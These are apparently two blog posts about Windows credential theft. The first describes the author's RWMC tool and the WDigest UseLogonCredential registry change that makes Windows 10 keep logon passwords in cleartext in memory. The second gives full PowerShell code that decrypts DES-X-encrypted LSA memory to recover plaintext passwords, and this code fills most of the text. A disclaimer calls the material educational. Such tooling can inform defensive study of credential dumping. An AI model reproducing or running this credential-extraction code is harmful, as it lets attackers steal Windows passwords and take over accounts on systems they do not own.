How to reveal Windows 10 password ?

Disclaimer

Any actions and or activities related to the material contained within this blog is solely your responsibility.The misuse of the information in this website can result in criminal charges brought against the persons in question. The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
This script is published for educational use only. I am no way responsible for any misuse of the information.
This article is related to Computer Security and I am not promote hacking / cracking / software piracy.
This article is not a GUIDE of Hacking. It is only provide information about the legal ways of retrieving the passwords. You shall not misuse the information to gain unauthorised access. However you may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is illegal.

Reveal the password of Windows 10 Home edition and PRO edition and Windows 10 Enterprise edition

If you read my previous entry on "How to reveal Windows password ?", you are aware that my tool can reveal local or domain password regardless of the difference in architecture of the machine targeted.

I just try my RWMC tool on a fresh install of Windows 10 Home edition and Windows 10 PRO edition and Windows 10 Enterprise edition, it works like a charm ;-)

1) First, add this registry key UseLogonCredential (DWORD to set to 1) in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest and then reboot **The script does the job now**

2) You can use the 2r2 mode to reveal password from the Windows memory as you can do it on a Windows 2012R2 **Just enter "local" and the script does the job**

The result

Enjoy !

How to break DES-X with PowerShell ?

Hi !

Here's my code to break DES-X with PowerShell :

$sboxul = New-Object 'object[,]' 8,64

$string = "0x02080800,0x00080000,0x02000002,0x02080802,0x02000000,0x00080802,0x00080002,0x02000002,0x00080802,0x02080800,0x02080000,0x00000802,0x02000802,0x02000000,0x00000000,0x00080002,0x00080000,0x00000002,0x02000800,0x00080800,0x02080802,0x02080000,0x00000802,0x02000800,0x00000002,0x00000800,0x00080800,0x02080002,0x00000800,0x02000802,0x02080002,0x00000000,0x00000000,0x02080802,0x02000800,0x00080002,0x02080800,0x00080000,0x00000802,0x02000800,0x02080002,0x00000800,0x00080800,0x02000002,0x00080802,0x00000002,0x02000002,0x02080000,0x02080802,0x00080800,0x02080000,0x02000802,0x02000000,0x00000802,0x00080002,0x00000000,0x00080000,0x02000000,0x02000802,0x02080800,0x00000002,0x02080002,0x00000800,0x00080802"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[0,$j] = $s

    $j++

}

$string = "0x40108010,0x00000000,0x00108000,0x40100000,0x40000010,0x00008010,0x40008000,0x00108000,0x00008000,0x40100010,0x00000010,0x40008000,0x00100010,0x40108000,0x40100000,0x00000010,0x00100000,0x40008010,0x40100010,0x00008000,0x00108010,0x40000000,0x00000000,0x00100010,0x40008010,0x00108010,0x40108000,0x40000010,0x40000000,0x00100000,0x00008010,0x40108010,0x00100010,0x40108000,0x40008000,0x00108010,0x40108010,0x00100010,0x40000010,0x00000000,0x40000000,0x00008010,0x00100000,0x40100010,0x00008000,0x40000000,0x00108010,0x40008010,0x40108000,0x00008000,0x00000000,0x40000010,0x00000010,0x40108010,0x00108000,0x40100000,0x40100010,0x00100000,0x00008010,0x40008000,0x40008010,0x00000010,0x40100000,0x00108000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[1,$j] = $s

    $j++

}

$string = "0x04000001,0x04040100,0x00000100,0x04000101,0x00040001,0x04000000,0x04000101,0x00040100,0x04000100,0x00040000,0x04040000,0x00000001,0x04040101,0x00000101,0x00000001,0x04040001,0x00000000,0x00040001,0x04040100,0x00000100,0x00000101,0x04040101,0x00040000,0x04000001,0x04040001,0x04000100,0x00040101,0x04040000,0x00040100,0x00000000,0x04000000,0x00040101,0x04040100,0x00000100,0x00000001,0x00040000,0x00000101,0x00040001,0x04040000,0x04000101,0x00000000,0x04040100,0x00040100,0x04040001,0x00040001,0x04000000,0x04040101,0x00000001,0x00040101,0x04000001,0x04000000,0x04040101,0x00040000,0x04000100,0x04000101,0x00040100,0x04000100,0x00000000,0x04040001,0x00000101,0x04000001,0x00040101,0x00000100,0x04040000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[2,$j] = $s

    $j++

}

$string = "0x00401008,0x10001000,0x00000008,0x10401008,0x00000000,0x10400000,0x10001008,0x00400008,0x10401000,0x10000008,0x10000000,0x00001008,0x10000008,0x00401008,0x00400000,0x10000000,0x10400008,0x00401000,0x00001000,0x00000008,0x00401000,0x10001008,0x10400000,0x00001000,0x00001008,0x00000000,0x00400008,0x10401000,0x10001000,0x10400008,0x10401008,0x00400000,0x10400008,0x00001008,0x00400000,0x10000008,0x00401000,0x10001000,0x00000008,0x10400000,0x10001008,0x00000000,0x00001000,0x00400008,0x00000000,0x10400008,0x10401000,0x00001000,0x10000000,0x10401008,0x00401008,0x00400000,0x10401008,0x00000008,0x10001000,0x00401008,0x00400008,0x00401000,0x10400000,0x10001008,0x00001008,0x10000000,0x10000008,0x10401000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[3,$j] = $s

    $j++

}

$string = "0x08000000,0x00010000,0x00000400,0x08010420,0x08010020,0x08000400,0x00010420,0x08010000,0x00010000,0x00000020,0x08000020,0x00010400,0x08000420,0x08010020,0x08010400,0x00000000,0x00010400,0x08000000,0x00010020,0x00000420,0x08000400,0x00010420,0x00000000,0x08000020,0x00000020,0x08000420,0x08010420,0x00010020,0x08010000,0x00000400,0x00000420,0x08010400,0x08010400,0x08000420,0x00010020,0x08010000,0x00010000,0x00000020,0x08000020,0x08000400,0x08000000,0x00010400,0x08010420,0x00000000,0x00010420,0x08000000,0x00000400,0x00010020,0x08000420,0x00000400,0x00000000,0x08010420,0x08010020,0x08010400,0x00000420,0x00010000,0x00010400,0x08010020,0x08000400,0x00000420,0x00000020,0x00010420,0x08010000,0x08000020"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[4,$j] = $s

    $j++

}

$string = "0x80000040,0x00200040,0x00000000,0x80202000,0x00200040,0x00002000,0x80002040,0x00200000,0x00002040,0x80202040,0x00202000,0x80000000,0x80002000,0x80000040,0x80200000,0x00202040,0x00200000,0x80002040,0x80200040,0x00000000,0x00002000,0x00000040,0x80202000,0x80200040,0x80202040,0x80200000,0x80000000,0x00002040,0x00000040,0x00202000,0x00202040,0x80002000,0x00002040,0x80000000,0x80002000,0x00202040,0x80202000,0x00200040,0x00000000,0x80002000,0x80000000,0x00002000,0x80200040,0x00200000,0x00200040,0x80202040,0x00202000,0x00000040,0x80202040,0x00202000,0x00200000,0x80002040,0x80000040,0x80200000,0x00202040,0x00000000,0x00002000,0x80000040,0x80002040,0x80202000,0x80200000,0x00002040,0x00000040,0x80200040"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[5,$j] = $s

    $j++

}

$string = "0x00004000,0x00000200,0x01000200,0x01000004,0x01004204,0x00004004,0x00004200,0x00000000,0x01000000,0x01000204,0x00000204,0x01004000,0x00000004,0x01004200,0x01004000,0x00000204,0x01000204,0x00004000,0x00004004,0x01004204,0x00000000,0x01000200,0x01000004,0x00004200,0x01004004,0x00004204,0x01004200,0x00000004,0x00004204,0x01004004,0x00000200,0x01000000,0x00004204,0x01004000,0x01004004,0x00000204,0x00004000,0x00000200,0x01000000,0x01004004,0x01000204,0x00004204,0x00004200,0x00000000,0x00000200,0x01000004,0x00000004,0x01000200,0x00000000,0x01000204,0x01000200,0x00004200,0x00000204,0x00004000,0x01004204,0x01000000,0x01004200,0x00000004,0x00004004,0x01004204,0x01000004,0x01004200,0x01004000,0x00004004"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[6,$j] = $s

    $j++

}

$string = "0x20800080,0x20820000,0x00020080,0x00000000,0x20020000,0x00800080,0x20800000,0x20820080,0x00000080,0x20000000,0x00820000,0x00020080,0x00820080,0x20020080,0x20000080,0x20800000,0x00020000,0x00820080,0x00800080,0x20020000,0x20820080,0x20000080,0x00000000,0x00820000,0x20000000,0x00800000,0x20020080,0x20800080,0x00800000,0x00020000,0x20820000,0x00000080,0x00800000,0x00020000,0x20000080,0x20820080,0x00020080,0x20000000,0x00000000,0x00820000,0x20800080,0x20020080,0x20020000,0x00800080,0x20820000,0x00000080,0x00800080,0x20020000,0x20820080,0x00800000,0x20800000,0x20000080,0x00820000,0x00020080,0x20020080,0x20800000,0x00000080,0x20820000,0x00820080,0x00000000,0x20000000,0x20800080,0x00020000,0x00820080"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[7,$j] = $s

    $j++

}

function rol ($val, $r_bits, $max_bits) {       

    return (($val -shl ($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1) -bor ($val -band ([math]::Pow(2,$max_bits)-1)) -shr ($max_bits-($r_bits % $max_bits)))       

}

  

function ror ($val, $r_bits, $max_bits) {      

    return ((($val -band ([math]::Pow(2,$max_bits)-1)) -shr $r_bits % $max_bits) -bor ($val -shl ($max_bits-($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1)))       

}

function loop($des_key, $dst, $src, $ecx, $round){

    $eax = $des_key.Substring($round*8,4)

    $edx = $des_key.Substring($round*8+4,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $ebx = 0

    $eax = $eax -bxor $src

    $edx = $edx -bxor $src

    $eax = $eax -band "0x0FCFCFCFC"

    $edx = $edx -band "0x0CFCFCFCF"

    $ebx = ($ebx -band "0xFFFFFF00") -bor ($eax -band "0x000000FF")

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)

    $edx = ror $edx 4 32

    $ebp = [Convert]::ToInt64(($sboxul[0,($ebx -shr 2)]),16)

    $ebx = ($ebx -band "0xFFFFFF00") -bor ($edx -band "0x000000FF")

    $dst = $dst -bxor $ebp

    $ebp = [Convert]::ToInt64(($sboxul[2,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)

    $eax = $eax -shr "0x10"

    $ebp = [Convert]::ToInt64(($sboxul[1,($ebx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ebx = ($ebx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)

    $edx = $edx -shr "0x10"

    $ebp = [Convert]::ToInt64(($sboxul[3,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)

    $eax = $eax -band "0xFF"

    $edx = $edx -band "0xFF"

    $ebx = [Convert]::ToInt64(($sboxul[6,($ebx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[7,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[4,($eax -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[5,($edx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    return $dst,$ecx   

}

function decrypt($des_key128,$encrypted){

    $esi = $encrypted   

    $eax = $esi.Substring(0,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   

    $edi = $esi.Substring(4)

    $edi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edi),0);

    $eax = rol $eax "4" 32

    $esi = $eax

    $eax = $eax -bxor $edi

    $eax = $eax -band "0x0F0F0F0F0"

    $esi = $esi -bxor $eax

    $edi = $edi -bxor $eax

    $edi = rol $edi "0x14" 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x0FFF0000F"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $eax = rol $eax "0x0e" 32

    $edi = $eax

    $eax = $eax -bxor $esi

    $eax = $eax -band "0x33333333"

    $edi = $edi -bxor $eax

    $esi = $esi -bxor $eax

    $esi = rol $esi "0x16" 32

    $eax = $esi

    $esi = $esi -bxor $edi

    $esi = $esi -band "0x3FC03FC"

    $eax = $eax -bxor $esi

    $edi = $edi -bxor $esi

    $eax = rol $eax "0x9" 32

    $esi = $eax

    $eax = $eax -bxor $edi

    $eax = $eax -band "0x0AAAAAAAA"

    $esi = $esi -bxor $eax   

    $edi = $edi -bxor $eax

    $edi = rol $edi "0x1" 32

    $ecx = 0

    $round = 15

    while($round -gt 0) {

        $edi, $ecx = loop $des_key128 $edi $esi $ecx $round

        $ind = $round - 1

        $esi, $ecx = loop $des_key128 $esi $edi $ecx $ind 

        $round = $round - 2

    }   

    $esi = ror $esi 1 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x0AAAAAAAA"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $eax = rol $eax "0x17" 32

    $edi = $eax

    $eax = $eax -bxor $esi

    $eax = $eax -band "0x3FC03FC"

    $edi = $edi -bxor $eax

    $esi = $esi -bxor $eax

    $edi = rol $edi "0x0A" 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x33333333"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $esi = rol $esi "0x12" 32

    $edi = $esi

    $esi = $esi -bxor $eax

    $esi = $esi -band "0x0FFF0000F"

    $edi = $edi -bxor $esi

    $eax = $eax -bxor $esi

    $edi = rol $edi "0x0C" 32

    $esi = $edi

    $edi = $edi -bxor $eax

    $edi = $edi -band "0x0F0F0F0F0"

    $esi = $esi -bxor $edi

    $eax = $eax -bxor $edi

    $eax = ror $eax 4 32

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))

    $esi = $encoding.GetString([BitConverter]::GetBytes($esi))

    return $eax,$esi

}

function XP_DESX($desx_key,$encrypted){

    $eax = $encrypted.Substring(0,4)

    $esi = $encrypted.Substring(4,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);

    $esi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($esi),0);

    $ecx = $desx_key.Substring(8,4)

    $edx = $desx_key.Substring(12,4)

    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $ecx = $ecx -bxor $eax

    $edx = $edx -bxor $esi   

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $ecx = $encoding.GetString([BitConverter]::GetBytes($ecx))

    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))

    $enc_64 = $ecx + $edx

    $des_key128 = $desx_key.Substring(16,128)

    $decrypted,$decrypted2 = decrypt $des_key128 $enc_64   

    $ecx = $desx_key.Substring(0,4)

    $ebx = $desx_key.Substring(4,4)

    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);

    $ebx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ebx),0);

    $edx = $decrypted   

    $eax = $decrypted2   

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   

    $edx = $edx -bxor $ecx

    $eax = $eax -bxor $ebx  

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))

    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))   

    return $edx,$eax

}

function XP_CBC_DESX($encrypted, $desx_key, $feedback) {

    $decrypted,$decrypted2 = XP_DESX $desx_key $encrypted

    $decrypted = $decrypted + $decrypted2

    $decrypted_temp = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($decrypted),0);

    $decrypted_temp2 = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($feedback),0);

    $decrypted_temp = $decrypted_temp -bxor $decrypted_temp2   

    $decrypted = [BitConverter]::GetBytes($decrypted_temp);

    $feedback = $encrypted

    return $decrypted,$feedback

}

function XP_LsaDecryptMemory($DESXKeyHex, $g_Feedback, $cipherToDecrypt) {

    $desx_key = $DESXKeyHex

    $feedback = $g_Feedback

    $measureObject = $cipherToDecrypt | Measure-Object -Character

    $count = $measureObject.Characters

    $measureObject = $g_Feedback | Measure-Object -Character

    $countFeed = $measureObject.Characters   

    $decrypted = ''           

    $count = $count -shr 3

    $i = 0   

    while($i -lt $count) {        

        $decrypted8, $feedback = XP_CBC_DESX $cipherToDecrypt.Substring($i*8,8) $desx_key $feedback

        $decrypted += $decrypted8

        $i++

    }

    return $decrypted   

}

$passwordDec = XP_LsaDecryptMemory $DESXKeyHex $g_Feedback $cipherToDecrypt

$passwordDecSplitted = $passwordDec -split " "

$passwordDecSplitted = $passwordDecSplitted -replace " ",""

$password = ""

foreach($letter in $passwordDecSplitted){

if([int]$letter -lt 98182){

$password = $password + [char][int]$letter

}

}   

Enjoy !